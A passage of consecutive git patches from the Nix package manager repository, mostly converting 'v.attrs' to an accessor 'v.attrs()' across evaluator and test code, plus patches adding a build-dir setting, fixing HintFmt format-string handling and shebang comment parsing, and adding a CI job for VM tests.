a/src/nix/eval.cc +++ b/src/nix/eval.cc @@ -89,7 +89,7 @@ struct CmdEval : MixJSON, InstallableValueCommand, MixReadOnlyOption else if (v.type() == nAttrs) { if (mkdir(path.c_str(), 0777) == -1) throw SysError("creating directory '%s'", path); - for (auto & attr : *v.attrs) { + for (auto & attr : *v.attrs()) { std::string_view name = state->symbols[attr.name]; try { if (name == "." || name == "..") diff --git a/src/nix/flake.cc b/src/nix/flake.cc index a846f6371..4825ab0e1 100644 --- a/src/nix/flake.cc +++ b/src/nix/flake.cc @@ -169,7 +169,7 @@ static void enumerateOutputs(EvalState & state, Value & vFlake, auto pos = vFlake.determinePos(noPos); state.forceAttrs(vFlake, pos, "while evaluating a flake to get its outputs"); - auto aOutputs = vFlake.attrs->get(state.symbols.create("outputs")); + auto aOutputs = vFlake.attrs()->get(state.symbols.create("outputs")); assert(aOutputs); state.forceAttrs(*aOutputs->value, pos, "while evaluating the outputs of a flake"); @@ -179,10 +179,10 @@ static void enumerateOutputs(EvalState & state, Value & vFlake, /* Hack: ensure that hydraJobs is evaluated before anything else. This way we can disable IFD for hydraJobs and then enable it for other outputs. */ - if (auto attr = aOutputs->value->attrs->get(sHydraJobs)) + if (auto attr = aOutputs->value->attrs()->get(sHydraJobs)) callback(state.symbols[attr->name], *attr->value, attr->pos); - for (auto & attr : *aOutputs->value->attrs) { + for (auto & attr : *aOutputs->value->attrs()) { if (attr.name != sHydraJobs) callback(state.symbols[attr.name], *attr.value, attr.pos); } @@ -451,10 +451,10 @@ struct CmdFlakeCheck : FlakeCommand if (!v.isLambda()) { throw Error("overlay is not a function, but %s instead", showType(v)); } - if (v.lambda.fun->hasFormals() - || !argHasName(v.lambda.fun->arg, "final")) + if (v.payload.lambda.fun->hasFormals() + || !argHasName(v.payload.lambda.fun->arg, "final")) throw Error("overlay does not take an argument named 'final'"); - auto body = dynamic_cast(v.lambda.fun->body); + auto body = dynamic_cast(v.payload.lambda.fun->body); if (!body || body->hasFormals() || !argHasName(body->arg, "prev")) @@ -489,7 +489,7 @@ struct CmdFlakeCheck : FlakeCommand if (state->isDerivation(v)) throw Error("jobset should not be a derivation at top-level"); - for (auto & attr : *v.attrs) { + for (auto & attr : *v.attrs()) { state->forceAttrs(*attr.value, attr.pos, ""); auto attrPath2 = concatStrings(attrPath, ".", state->symbols[attr.name]); if (state->isDerivation(*attr.value)) { @@ -528,7 +528,7 @@ struct CmdFlakeCheck : FlakeCommand state->forceAttrs(v, pos, ""); - if (auto attr = v.attrs->get(state->symbols.create("path"))) { + if (auto attr = v.attrs()->get(state->symbols.create("path"))) { if (attr->name == state->symbols.create("path")) { NixStringContext context; auto path = state->coerceToPath(attr->pos, *attr->value, context, ""); @@ -539,12 +539,12 @@ struct CmdFlakeCheck : FlakeCommand } else throw Error("template '%s' lacks attribute 'path'", attrPath); - if (auto attr = v.attrs->get(state->symbols.create("description"))) + if (auto attr = v.attrs()->get(state->symbols.create("description"))) state->forceStringNoCtx(*attr->value, attr->pos, ""); else throw Error("template '%s' lacks attribute 'description'", attrPath); - for (auto & attr : *v.attrs) { + for (auto & attr : *v.attrs()) { std::string_view name(state->symbols[attr.name]); if (name != "path" && name != "description" && name != "welcomeText") throw Error("template '%s' has unsupported attribute '%s'", attrPath, name); @@ -600,12 +600,12 @@ struct CmdFlakeCheck : FlakeCommand if (name == "checks") { state->forceAttrs(vOutput, pos, ""); - for (auto & attr : *vOutput.attrs) { + for (auto & attr : *vOutput.attrs()) { const auto & attr_name = state->symbols[attr.name]; checkSystemName(attr_name, attr.pos); if (checkSystemType(attr_name, attr.pos)) { state->forceAttrs(*attr.value, attr.pos, ""); - for (auto & attr2 : *attr.value->attrs) { + for (auto & attr2 : *attr.value->attrs()) { auto drvPath = checkDerivation( fmt("%s.%s.%s", name, attr_name, state->symbols[attr2.name]), *attr2.value, attr2.pos); @@ -622,7 +622,7 @@ struct CmdFlakeCheck : FlakeCommand else if (name == "formatter") { state->forceAttrs(vOutput, pos, ""); - for (auto & attr : *vOutput.attrs) { + for (auto & attr : *vOutput.attrs()) { const auto & attr_name = state->symbols[attr.name]; checkSystemName(attr_name, attr.pos); if (checkSystemType(attr_name, attr.pos)) { @@ -635,12 +635,12 @@ struct CmdFlakeCheck : FlakeCommand else if (name == "packages" || name == "devShells") { state->forceAttrs(vOutput, pos, ""); - for (auto & attr : *vOutput.attrs) { + for (auto & attr : *vOutput.attrs()) { const auto & attr_name = state->symbols[attr.name]; checkSystemName(attr_name, attr.pos); if (checkSystemType(attr_name, attr.pos)) { state->forceAttrs(*attr.value, attr.pos, ""); - for (auto & attr2 : *attr.value->attrs) + for (auto & attr2 : *attr.value->attrs()) checkDerivation( fmt("%s.%s.%s", name, attr_name, state->symbols[attr2.name]), *attr2.value, attr2.pos); @@ -650,12 +650,12 @@ struct CmdFlakeCheck : FlakeCommand else if (name == "apps") { state->forceAttrs(vOutput, pos, ""); - for (auto & attr : *vOutput.attrs) { + for (auto & attr : *vOutput.attrs()) { const auto & attr_name = state->symbols[attr.name]; checkSystemName(attr_name, attr.pos); if (checkSystemType(attr_name, attr.pos)) { state->forceAttrs(*attr.value, attr.pos, ""); - for (auto & attr2 : *attr.value->attrs) + for (auto & attr2 : *attr.value->attrs()) checkApp( fmt("%s.%s.%s", name, attr_name, state->symbols[attr2.name]), *attr2.value, attr2.pos); @@ -665,7 +665,7 @@ struct CmdFlakeCheck : FlakeCommand else if (name == "defaultPackage" || name == "devShell") { state->forceAttrs(vOutput, pos, ""); - for (auto & attr : *vOutput.attrs) { + for (auto & attr : *vOutput.attrs()) { const auto & attr_name = state->symbols[attr.name]; checkSystemName(attr_name, attr.pos); if (checkSystemType(attr_name, attr.pos)) { @@ -678,7 +678,7 @@ struct CmdFlakeCheck : FlakeCommand else if (name == "defaultApp") { state->forceAttrs(vOutput, pos, ""); - for (auto & attr : *vOutput.attrs) { + for (auto & attr : *vOutput.attrs()) { const auto & attr_name = state->symbols[attr.name]; checkSystemName(attr_name, attr.pos); if (checkSystemType(attr_name, attr.pos) ) { @@ -691,7 +691,7 @@ struct CmdFlakeCheck : FlakeCommand else if (name == "legacyPackages") { state->forceAttrs(vOutput, pos, ""); - for (auto & attr : *vOutput.attrs) { + for (auto & attr : *vOutput.attrs()) { checkSystemName(state->symbols[attr.name], attr.pos); checkSystemType(state->symbols[attr.name], attr.pos); // FIXME: do getDerivations? @@ -703,7 +703,7 @@ struct CmdFlakeCheck : FlakeCommand else if (name == "overlays") { state->forceAttrs(vOutput, pos, ""); - for (auto & attr : *vOutput.attrs) + for (auto & attr : *vOutput.attrs()) checkOverlay(fmt("%s.%s", name, state->symbols[attr.name]), *attr.value, attr.pos); } @@ -713,14 +713,14 @@ struct CmdFlakeCheck : FlakeCommand else if (name == "nixosModules") { state->forceAttrs(vOutput, pos, ""); - for (auto & attr : *vOutput.attrs) + for (auto & attr : *vOutput.attrs()) checkModule(fmt("%s.%s", name, state->symbols[attr.name]), *attr.value, attr.pos); } else if (name == "nixosConfigurations") { state->forceAttrs(vOutput, pos, ""); - for (auto & attr : *vOutput.attrs) + for (auto & attr : *vOutput.attrs()) checkNixOSConfiguration(fmt("%s.%s", name, state->symbols[attr.name]), *attr.value, attr.pos); } @@ -733,14 +733,14 @@ struct CmdFlakeCheck : FlakeCommand else if (name == "templates") { state->forceAttrs(vOutput, pos, ""); - for (auto & attr : *vOutput.attrs) + for (auto & attr : *vOutput.attrs()) checkTemplate(fmt("%s.%s", name, state->symbols[attr.name]), *attr.value, attr.pos); } else if (name == "defaultBundler") { state->forceAttrs(vOutput, pos, ""); - for (auto & attr : *vOutput.attrs) { + for (auto & attr : *vOutput.attrs()) { const auto & attr_name = state->symbols[attr.name]; checkSystemName(attr_name, attr.pos); if (checkSystemType(attr_name, attr.pos)) { @@ -753,12 +753,12 @@ struct CmdFlakeCheck : FlakeCommand else if (name == "bundlers") { state->forceAttrs(vOutput, pos, ""); - for (auto & attr : *vOutput.attrs) { + for (auto & attr : *vOutput.attrs()) { const auto & attr_name = state->symbols[attr.name]; checkSystemName(attr_name, attr.pos); if (checkSystemType(attr_name, attr.pos)) { state->forceAttrs(*attr.value, attr.pos, ""); - for (auto & attr2 : *attr.value->attrs) { + for (auto & attr2 : *attr.value->attrs()) { checkBundler( fmt("%s.%s.%s", name, attr_name, state->symbols[attr2.name]), *attr2.value, attr2.pos); diff --git a/src/nix/main.cc b/src/nix/main.cc index 5af5f2e41..1ee9e4198 100644 --- a/src/nix/main.cc +++ b/src/nix/main.cc @@ -256,7 +256,7 @@ static void showHelp(std::vector subcommand, NixArgs & toplevel) state.callFunction(*vGenerateManpage, state.getBuiltin("false"), *vRes, noPos); state.callFunction(*vRes, *vDump, *vRes, noPos); - auto attr = vRes->attrs->get(state.symbols.create(mdName + ".md")); + auto attr = vRes->attrs()->get(state.symbols.create(mdName + ".md")); if (!attr) throw UsageError("Nix has no subcommand '%s'", concatStringsSep("", subcommand)); @@ -400,11 +400,10 @@ void mainWrapped(int argc, char * * argv) auto res = nlohmann::json::object(); res["builtins"] = ({ auto builtinsJson = nlohmann::json::object(); - auto builtins = state.baseEnv.values[0]->attrs; - for (auto & builtin : *builtins) { + for (auto & builtin : *state.baseEnv.values[0]->attrs()) { auto b = nlohmann::json::object(); if (!builtin.value->isPrimOp()) continue; - auto primOp = builtin.value->primOp; + auto primOp = builtin.value->primOp(); if (!primOp->doc) continue; b["arity"] = primOp->arity; b["args"] = primOp->args; diff --git a/src/nix/prefetch.cc b/src/nix/prefetch.cc index fabec5d88..17178c84f 100644 --- a/src/nix/prefetch.cc +++ b/src/nix/prefetch.cc @@ -35,8 +35,8 @@ std::string resolveMirrorUrl(EvalState & state, const std::string & url) vMirrors); state.forceAttrs(vMirrors, noPos, "while evaluating the set of all mirrors"); - auto mirrorList = vMirrors.attrs->find(state.symbols.create(mirrorName)); - if (mirrorList == vMirrors.attrs->end()) + auto mirrorList = vMirrors.attrs()->get(state.symbols.create(mirrorName)); + if (!mirrorList) throw Error("unknown mirror name '%s'", mirrorName); state.forceList(*mirrorList->value, noPos, "while evaluating one mirror configuration"); @@ -213,7 +213,7 @@ static int main_nix_prefetch_url(int argc, char * * argv) state->forceAttrs(v, noPos, "while evaluating the source attribute to prefetch"); /* Extract the URL. */ - auto * attr = v.attrs->get(state->symbols.create("urls")); + auto * attr = v.attrs()->get(state->symbols.create("urls")); if (!attr) throw Error("attribute 'urls' missing"); state->forceList(*attr->value, noPos, "while evaluating the urls to prefetch"); @@ -222,7 +222,7 @@ static int main_nix_prefetch_url(int argc, char * * argv) url = state->forceString(*attr->value->listElems()[0], noPos, "while evaluating the first url from the urls list"); /* Extract the hash mode. */ - auto attr2 = v.attrs->get(state->symbols.create("outputHashMode")); + auto attr2 = v.attrs()->get(state->symbols.create("outputHashMode")); if (!attr2) printInfo("warning: this does not look like a fetchurl call"); else @@ -230,7 +230,7 @@ static int main_nix_prefetch_url(int argc, char * * argv) /* Extract the name. */ if (!name) { - auto attr3 = v.attrs->get(state->symbols.create("name")); + auto attr3 = v.attrs()->get(state->symbols.create("name")); if (!attr3) name = state->forceString(*attr3->value, noPos, "while evaluating the name of the source to prefetch"); } diff --git a/tests/unit/libexpr-support/tests/libexpr.hh b/tests/unit/libexpr-support/tests/libexpr.hh index d720cedde..1a4313990 100644 --- a/tests/unit/libexpr-support/tests/libexpr.hh +++ b/tests/unit/libexpr-support/tests/libexpr.hh @@ -80,28 +80,28 @@ namespace nix { if (arg.type() != nInt) { return false; } - return arg.integer == v; + return arg.integer() == v; } MATCHER_P(IsFloatEq, v, fmt("The float is equal to \"%1%\"", v)) { if (arg.type() != nFloat) { return false; } - return arg.fpoint == v; + return arg.fpoint() == v; } MATCHER(IsTrue, "") { if (arg.type() != nBool) { return false; } - return arg.boolean == true; + return arg.boolean() == true; } MATCHER(IsFalse, "") { if (arg.type() != nBool) { return false; } - return arg.boolean == false; + return arg.boolean() == false; } MATCHER_P(IsPathEq, p, fmt("Is a path equal to \"%1%\"", p)) { @@ -134,8 +134,8 @@ namespace nix { if (arg.type() != nAttrs) { *result_listener << "Expected set got " << arg.type(); return false; - } else if (arg.attrs->size() != (size_t)n) { - *result_listener << "Expected a set with " << n << " attributes but got " << arg.attrs->size(); + } else if (arg.attrs()->size() != (size_t) n) { + *result_listener << "Expected a set with " << n << " attributes but got " << arg.attrs()->size(); return false; } return true; diff --git a/tests/unit/libexpr/primops.cc b/tests/unit/libexpr/primops.cc index b1426edae..7988eac70 100644 --- a/tests/unit/libexpr/primops.cc +++ b/tests/unit/libexpr/primops.cc @@ -72,7 +72,7 @@ namespace nix { auto v = eval("builtins.tryEval (throw \"\")"); ASSERT_THAT(v, IsAttrsOfSize(2)); auto s = createSymbol("success"); - auto p = v.attrs->get(s); + auto p = v.attrs()->get(s); ASSERT_NE(p, nullptr); ASSERT_THAT(*p->value, IsFalse()); } @@ -81,11 +81,11 @@ namespace nix { auto v = eval("builtins.tryEval 123"); ASSERT_THAT(v, IsAttrs()); auto s = createSymbol("success"); - auto p = v.attrs->get(s); + auto p = v.attrs()->get(s); ASSERT_NE(p, nullptr); ASSERT_THAT(*p->value, IsTrue()); s = createSymbol("value"); - p = v.attrs->get(s); + p = v.attrs()->get(s); ASSERT_NE(p, nullptr); ASSERT_THAT(*p->value, IsIntEq(123)); } @@ -157,18 +157,18 @@ namespace nix { auto v = eval(expr); ASSERT_THAT(v, IsAttrsOfSize(3)); - auto file = v.attrs->find(createSymbol("file")); + auto file = v.attrs()->find(createSymbol("file")); ASSERT_NE(file, nullptr); ASSERT_THAT(*file->value, IsString()); auto s = baseNameOf(file->value->string_view()); ASSERT_EQ(s, "foo.nix"); - auto line = v.attrs->find(createSymbol("line")); + auto line = v.attrs()->find(createSymbol("line")); ASSERT_NE(line, nullptr); state.forceValue(*line->value, noPos); ASSERT_THAT(*line->value, IsIntEq(4)); - auto column = v.attrs->find(createSymbol("column")); + auto column = v.attrs()->find(createSymbol("column")); ASSERT_NE(column, nullptr); state.forceValue(*column->value, noPos); ASSERT_THAT(*column->value, IsIntEq(3)); @@ -202,14 +202,14 @@ namespace nix { TEST_F(PrimOpTest, removeAttrsRetains) { auto v = eval("builtins.removeAttrs { x = 1; y = 2; } [\"x\"]"); ASSERT_THAT(v, IsAttrsOfSize(1)); - ASSERT_NE(v.attrs->find(createSymbol("y")), nullptr); + ASSERT_NE(v.attrs()->find(createSymbol("y")), nullptr); } TEST_F(PrimOpTest, listToAttrsEmptyList) { auto v = eval("builtins.listToAttrs []"); ASSERT_THAT(v, IsAttrsOfSize(0)); ASSERT_EQ(v.type(), nAttrs); - ASSERT_EQ(v.attrs->size(), 0); + ASSERT_EQ(v.attrs()->size(), 0); } TEST_F(PrimOpTest, listToAttrsNotFieldName) { @@ -219,7 +219,7 @@ namespace nix { TEST_F(PrimOpTest, listToAttrs) { auto v = eval("builtins.listToAttrs [ { name = \"key\"; value = 123; } ]"); ASSERT_THAT(v, IsAttrsOfSize(1)); - auto key = v.attrs->find(createSymbol("key")); + auto key = v.attrs()->find(createSymbol("key")); ASSERT_NE(key, nullptr); ASSERT_THAT(*key->value, IsIntEq(123)); } @@ -227,7 +227,7 @@ namespace nix { TEST_F(PrimOpTest, intersectAttrs) { auto v = eval("builtins.intersectAttrs { a = 1; b = 2; } { b = 3; c = 4; }"); ASSERT_THAT(v, IsAttrsOfSize(1)); - auto b = v.attrs->find(createSymbol("b")); + auto b = v.attrs()->find(createSymbol("b")); ASSERT_NE(b, nullptr); ASSERT_THAT(*b->value, IsIntEq(3)); } @@ -243,11 +243,11 @@ namespace nix { auto v = eval("builtins.functionArgs ({ x, y ? 123}: 1)"); ASSERT_THAT(v, IsAttrsOfSize(2)); - auto x = v.attrs->find(createSymbol("x")); + auto x = v.attrs()->find(createSymbol("x")); ASSERT_NE(x, nullptr); ASSERT_THAT(*x->value, IsFalse()); - auto y = v.attrs->find(createSymbol("y")); + auto y = v.attrs()->find(createSymbol("y")); ASSERT_NE(y, nullptr); ASSERT_THAT(*y->value, IsTrue()); } @@ -256,13 +256,13 @@ namespace nix { auto v = eval("builtins.mapAttrs (name: value: value * 10) { a = 1; b = 2; }"); ASSERT_THAT(v, IsAttrsOfSize(2)); - auto a = v.attrs->find(createSymbol("a")); + auto a = v.attrs()->find(createSymbol("a")); ASSERT_NE(a, nullptr); ASSERT_THAT(*a->value, IsThunk()); state.forceValue(*a->value, noPos); ASSERT_THAT(*a->value, IsIntEq(10)); - auto b = v.attrs->find(createSymbol("b")); + auto b = v.attrs()->find(createSymbol("b")); ASSERT_NE(b, nullptr); ASSERT_THAT(*b->value, IsThunk()); state.forceValue(*b->value, noPos); @@ -410,13 +410,13 @@ namespace nix { auto v = eval("builtins.partition (x: x > 10) [1 23 9 3 42]"); ASSERT_THAT(v, IsAttrsOfSize(2)); - auto right = v.attrs->get(createSymbol("right")); + auto right = v.attrs()->get(createSymbol("right")); ASSERT_NE(right, nullptr); ASSERT_THAT(*right->value, IsListOfSize(2)); ASSERT_THAT(*right->value->listElems()[0], IsIntEq(23)); ASSERT_THAT(*right->value->listElems()[1], IsIntEq(42)); - auto wrong = v.attrs->get(createSymbol("wrong")); + auto wrong = v.attrs()->get(createSymbol("wrong")); ASSERT_NE(wrong, nullptr); ASSERT_EQ(wrong->value->type(), nList); ASSERT_EQ(wrong->value->listSize(), 3); @@ -641,14 +641,14 @@ namespace nix { auto v = eval("derivation"); ASSERT_EQ(v.type(), nFunction); ASSERT_TRUE(v.isLambda()); - ASSERT_NE(v.lambda.fun, nullptr); - ASSERT_TRUE(v.lambda.fun->hasFormals()); + ASSERT_NE(v.payload.lambda.fun, nullptr); + ASSERT_TRUE(v.payload.lambda.fun->hasFormals()); } TEST_F(PrimOpTest, currentTime) { auto v = eval("builtins.currentTime"); ASSERT_EQ(v.type(), nInt); - ASSERT_TRUE(v.integer > 0); + ASSERT_TRUE(v.integer() > 0); } TEST_F(PrimOpTest, splitVersion) { @@ -709,11 +709,11 @@ namespace nix { auto v = eval(expr); ASSERT_THAT(v, IsAttrsOfSize(2)); - auto name = v.attrs->find(createSymbol("name")); + auto name = v.attrs()->find(createSymbol("name")); ASSERT_TRUE(name); ASSERT_THAT(*name->value, IsStringEq(expectedName)); - auto version = v.attrs->find(createSymbol("version")); + auto version = v.attrs()->find(createSymbol("version")); ASSERT_TRUE(version); ASSERT_THAT(*version->value, IsStringEq(expectedVersion)); } diff --git a/tests/unit/libexpr/trivial.cc b/tests/unit/libexpr/trivial.cc index 171727ac7..61ea71a0f 100644 --- a/tests/unit/libexpr/trivial.cc +++ b/tests/unit/libexpr/trivial.cc @@ -62,11 +62,11 @@ namespace nix { TEST_F(TrivialExpressionTest, updateAttrs) { auto v = eval("{ a = 1; } // { b = 2; a = 3; }"); ASSERT_THAT(v, IsAttrsOfSize(2)); - auto a = v.attrs->find(createSymbol("a")); + auto a = v.attrs()->find(createSymbol("a")); ASSERT_NE(a, nullptr); ASSERT_THAT(*a->value, IsIntEq(3)); - auto b = v.attrs->find(createSymbol("b")); + auto b = v.attrs()->find(createSymbol("b")); ASSERT_NE(b, nullptr); ASSERT_THAT(*b->value, IsIntEq(2)); } @@ -151,7 +151,7 @@ namespace nix { auto v = eval(expr); ASSERT_THAT(v, IsAttrsOfSize(1)); - auto a = v.attrs->find(createSymbol("a")); + auto a = v.attrs()->find(createSymbol("a")); ASSERT_NE(a, nullptr); ASSERT_THAT(*a->value, IsThunk()); @@ -159,11 +159,11 @@ namespace nix { ASSERT_THAT(*a->value, IsAttrsOfSize(2)); - auto b = a->value->attrs->find(createSymbol("b")); + auto b = a->value->attrs()->find(createSymbol("b")); ASSERT_NE(b, nullptr); ASSERT_THAT(*b->value, IsIntEq(1)); - auto c = a->value->attrs->find(createSymbol("c")); + auto c = a->value->attrs()->find(createSymbol("c")); ASSERT_NE(c, nullptr); ASSERT_THAT(*c->value, IsIntEq(2)); } @@ -185,7 +185,7 @@ namespace nix { TEST_F(TrivialExpressionTest, bindOr) { auto v = eval("{ or = 1; }"); ASSERT_THAT(v, IsAttrsOfSize(1)); - auto b = v.attrs->find(createSymbol("or")); + auto b = v.attrs()->find(createSymbol("or")); ASSERT_NE(b, nullptr); ASSERT_THAT(*b->value, IsIntEq(1)); } From c82623a6cc918fb7657621250baf62726e94c4ea Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 25 Mar 2024 18:35:36 +0100 Subject: [PATCH 0284/1251] Remove value clearing since it no longer has an effect --- src/libexpr/value.hh | 6 ------ 1 file changed, 6 deletions(-) diff --git a/src/libexpr/value.hh b/src/libexpr/value.hh index eb71765c5..21eb71d5c 100644 --- a/src/libexpr/value.hh +++ b/src/libexpr/value.hh @@ -290,13 +290,7 @@ public: inline void finishValue(InternalType newType, Payload newPayload) { - /* After overwriting thunk/app values, be sure to clear - pointers in the Value to ensure that the target isn't kept - alive unnecessarily. */ - payload.app.left = payload.app.right = 0; - payload = newPayload; - internalType = newType; } From 6221770c9de4d28137206bdcd1a67eea12e1e499 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sun, 24 Mar 2024 15:04:06 +0100 Subject: [PATCH 0285/1251] tests/functional: Add count() --- tests/functional/common/vars-and-functions.sh.in | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/tests/functional/common/vars-and-functions.sh.in b/tests/functional/common/vars-and-functions.sh.in index 3975986c0..e7e2fc770 100644 --- a/tests/functional/common/vars-and-functions.sh.in +++ b/tests/functional/common/vars-and-functions.sh.in @@ -283,6 +283,11 @@ grepQuietInverse() { ! grep "$@" > /dev/null } +# Return the number of arguments +count() { + echo $# +} + trap onError ERR fi # COMMON_VARS_AND_FUNCTIONS_SH_SOURCED From b1fe388d33530f0157dcf9f461348b61eda13228 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sun, 24 Mar 2024 15:08:29 +0100 Subject: [PATCH 0286/1251] Remove uncalled for message --- src/libstore/build/local-derivation-goal.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc index 612434e4d..e6c402d7f 100644 --- a/src/libstore/build/local-derivation-goal.cc +++ b/src/libstore/build/local-derivation-goal.cc @@ -2089,7 +2089,7 @@ void LocalDerivationGoal::runChild() bool allowLocalNetworking = parsedDrv->getBoolAttr("__darwinAllowLocalNetworking"); /* The tmpDir in scope points at the temporary build directory for our derivation. Some packages try different mechanisms - to find temporary directories, so we want to open up a broader place for them to dump their files, if needed. */ + to find temporary directories, so we want to open up a broader place for them to put their files, if needed. */ Path globalTmpDir = canonPath(defaultTempDir(), true); /* They don't like trailing slashes on subpath directives */ From 8b16cced18925aa612049d08d5e78eccbf0530e4 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sun, 24 Mar 2024 15:07:00 +0100 Subject: [PATCH 0287/1251] Add build-dir setting --- src/libstore/build/local-derivation-goal.cc | 2 +- src/libstore/globals.hh | 30 +++++++++++++++++---- tests/functional/check.sh | 15 +++++++++++ 3 files changed, 41 insertions(+), 6 deletions(-) diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc index e6c402d7f..d52ebf064 100644 --- a/src/libstore/build/local-derivation-goal.cc +++ b/src/libstore/build/local-derivation-goal.cc @@ -488,7 +488,7 @@ void LocalDerivationGoal::startBuilder() /* Create a temporary directory where the build will take place. */ - tmpDir = createTempDir("", "nix-build-" + std::string(drvPath.name()), false, false, 0700); + tmpDir = createTempDir(settings.buildDir.get().value_or(""), "nix-build-" + std::string(drvPath.name()), false, false, 0700); chownToBuilder(tmpDir); diff --git a/src/libstore/globals.hh b/src/libstore/globals.hh index e6544976a..e6acf0a4f 100644 --- a/src/libstore/globals.hh +++ b/src/libstore/globals.hh @@ -687,16 +687,36 @@ public: Setting sandboxShmSize{ this, "50%", "sandbox-dev-shm-size", R"( - This option determines the maximum size of the `tmpfs` filesystem - mounted on `/dev/shm` in Linux sandboxes. For the format, see the - description of the `size` option of `tmpfs` in mount(8). The default - is `50%`. + *Linux only* + + This option determines the maximum size of the `tmpfs` filesystem + mounted on `/dev/shm` in Linux sandboxes. For the format, see the + description of the `size` option of `tmpfs` in mount(8). The default + is `50%`. )"}; Setting sandboxBuildDir{this, "/build", "sandbox-build-dir", - "The build directory inside the sandbox."}; + R"( + *Linux only* + + The build directory inside the sandbox. + + This directory is backed by [`build-dir`](#conf-build-dir) on the host. + )"}; #endif + Setting> buildDir{this, std::nullopt, "build-dir", + R"( + The directory on the host, in which derivations' temporary build directories are created. + + If not set, Nix will use the system temporary directory indicated by the `TMPDIR` environment variable. + Note that builds are often performed by the Nix daemon, so its `TMPDIR` is used, and not that of the Nix command line interface. + + This is also the location where [`--keep-failed`](@docroot@/command-ref/opt-common.md#opt-keep-failed) leaves its files. + + If Nix runs without sandbox, or if the platform does not support sandboxing with bind mounts (e.g. macOS), then the [`builder`](@docroot@/language/derivations.md#attr-builder)'s environment will contain this directory, instead of the virtual location [`sandbox-build-dir`](#conf-sandbox-build-dir). + )"}; + Setting allowedImpureHostPrefixes{this, {}, "allowed-impure-host-deps", "Which prefixes to allow derivations to ask for access to (primarily for Darwin)."}; diff --git a/tests/functional/check.sh b/tests/functional/check.sh index e13abf747..38883c5d7 100644 --- a/tests/functional/check.sh +++ b/tests/functional/check.sh @@ -34,6 +34,21 @@ nix-build check.nix -A failed --argstr checkBuildId $checkBuildId \ [ "$status" = "100" ] if checkBuildTempDirRemoved $TEST_ROOT/log; then false; fi +test_custom_build_dir() { + local customBuildDir="$TEST_ROOT/custom-build-dir" + + # Nix does not create the parent directories, and perhaps it shouldn't try to + # decide the permissions of build-dir. + mkdir "$customBuildDir" + nix-build check.nix -A failed --argstr checkBuildId $checkBuildId \ + --no-out-link --keep-failed --option build-dir "$TEST_ROOT/custom-build-dir" 2> $TEST_ROOT/log || status=$? + [ "$status" = "100" ] + [[ 1 == "$(count "$customBuildDir/nix-build-"*)" ]] + local buildDir="$customBuildDir/nix-build-"* + grep $checkBuildId $buildDir/checkBuildId +} +test_custom_build_dir + nix-build check.nix -A deterministic --argstr checkBuildId $checkBuildId \ --no-out-link 2> $TEST_ROOT/log checkBuildTempDirRemoved $TEST_ROOT/log From 2d4edb945bc02c074a922bfa3f38cbf21976728b Mon Sep 17 00:00:00 2001 From: K900 Date: Tue, 26 Mar 2024 10:55:15 +0300 Subject: [PATCH 0288/1251] build-remote: fix format string shenanigans HintFmt(string) invokes the HintFmt("%s", literal) constructor, which is not what we want here. Add a constructor with a proper name and call that. Next step: rename all the other ones to HintFmt::literal(string). Fixes https://github.com/NixOS/nix/issues/10238 --- src/build-remote/build-remote.cc | 2 +- src/libutil/fmt.hh | 4 ++++ 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/src/build-remote/build-remote.cc b/src/build-remote/build-remote.cc index 118468477..18eee830b 100644 --- a/src/build-remote/build-remote.cc +++ b/src/build-remote/build-remote.cc @@ -202,7 +202,7 @@ static int main_build_remote(int argc, char * * argv) else drvstr = ""; - auto error = HintFmt(errorText); + auto error = HintFmt::fromFormatString(errorText); error % drvstr % neededSystem diff --git a/src/libutil/fmt.hh b/src/libutil/fmt.hh index abbaf95b6..c178257d4 100644 --- a/src/libutil/fmt.hh +++ b/src/libutil/fmt.hh @@ -144,6 +144,10 @@ public: : HintFmt("%s", Uncolored(literal)) { } + static HintFmt fromFormatString(const std::string & format) { + return HintFmt(boost::format(format)); + } + /** * Interpolate the given arguments into the format string. */ From a2c3333b97582392732adabb017d392ecbebad6e Mon Sep 17 00:00:00 2001 From: Cyclic4179 <147778028+Cyclic4179@users.noreply.github.com> Date: Wed, 27 Mar 2024 07:47:36 +0100 Subject: [PATCH 0289/1251] fix #10336 --- src/libutil/args.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libutil/args.cc b/src/libutil/args.cc index a981ed9fb..834fc7314 100644 --- a/src/libutil/args.cc +++ b/src/libutil/args.cc @@ -285,7 +285,7 @@ void RootArgs::parseCmdline(const Strings & _cmdline, bool allowShebang) std::string line; std::getline(stream,line); - static const std::string commentChars("#/\\%@*-"); + static const std::string commentChars("#/\\%@*-("); std::string shebangContent; while (std::getline(stream,line) && !line.empty() && commentChars.find(line[0]) != std::string::npos){ line = chomp(line); From 6f3972498bc73b6d3d81fb8291cc273e5f6c80b2 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Wed, 27 Mar 2024 12:59:41 +0100 Subject: [PATCH 0290/1251] Run some VM tests on GitHub --- .github/workflows/ci.yml | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 8bd355cca..818e81ec8 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -159,3 +159,11 @@ jobs: # deprecated 2024-02-24 docker tag nix:$NIX_VERSION $IMAGE_ID:master docker push $IMAGE_ID:master + + vm_tests: + runs-on: ubuntu-22.04 + steps: + - uses: actions/checkout@v3 + - uses: DeterminateSystems/nix-installer-action@main + - uses: DeterminateSystems/magic-nix-cache-action@main + - run: nix build -L .#hydraJobs.tests.githubFlakes .#hydraJobs.tests.tarballFlakes From 6227cd06bd290290769c26ea91c1a6e4720842e3 Mon Sep 17 00:00:00 2001 From: Cyclic4179 <147778028+Cyclic4179@users.noreply.github.com> Date: Wed, 27 Mar 2024 14:55:02 +0100 Subject: [PATCH 0291/1251] add flakes.sh test for shebang supported types of comments --- tests/functional/flakes/flakes.sh | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) diff --git a/tests/functional/flakes/flakes.sh b/tests/functional/flakes/flakes.sh index 427290883..14529c475 